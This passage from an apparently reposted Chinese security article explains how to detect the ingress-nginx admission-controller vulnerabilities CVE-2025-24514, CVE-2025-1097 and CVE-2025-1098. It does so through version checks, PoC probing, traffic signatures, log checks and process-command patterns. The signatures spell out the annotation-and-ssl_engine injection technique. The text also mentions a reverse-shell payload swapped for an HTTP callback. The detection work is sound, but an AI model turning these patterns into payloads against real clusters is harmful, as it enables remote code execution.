          {{- if .IsMirrorWithUID }}
          "nginx.ingress.kubernetes.io/mirror-target": "fake-mirror-target"{{- end }}

3.2 漏洞/攻击检测

从安全工具的角度出发,可通过以下方式检出该漏洞/攻击过程(仅列举检测思路):

漏洞检测:

  • 版本号匹配:检测集群中的ingress-nginx组件是否存在,其版本号是否在受影响范围内
  • poc探测:参考漏洞复现教程,使用脚本,发送构造的AdmissionReview请求,恶意库内容由反弹shell改为发送http请求,检查接收端是否有回显,可参考nuclei的脚本

漏洞攻击检测:

  • 基于流量检测(IPS、WAF等):
    • 检测是否存在非k8s api server发送的AdmissionReview请求
    • 检测流量特征是否包含攻击关键词,例如:
      • CVE-2025-24514:AdmissionReview*nginx.ingress.kubernetes.io/auth-url*#*ssl_engine
      • CVE-2025-1097:AdmissionReview*nginx.ingress.kubernetes.io/auth-tls-match-cn*CN=*#*ssl_engine
      • CVE-2025-1098:AdmissionReview*nginx.ingress.kubernetes.io/mirror-target*uid*ssl_engine
  • 基于日志检测(日志审计等工具):
    • 检测ingress-nginx-controller日志,是否存在短时间内大量nginx -t的配置文件测试日志,例如:

image.png

  • 基于进程检测(EDR等):
    • 检测ingress-nginx-controller 容器进程命令行,是否存在短时间内大量nginx -c /tmp/nginx/nginx-cfg* -t 的进程启动,例如:

image.png

参考链接

注:该文章转载自微信公众号【云原生安全指北】
image.png

0 条评论

请先 登录 后评论
Dubito
Dubito

1 篇文章

站长统计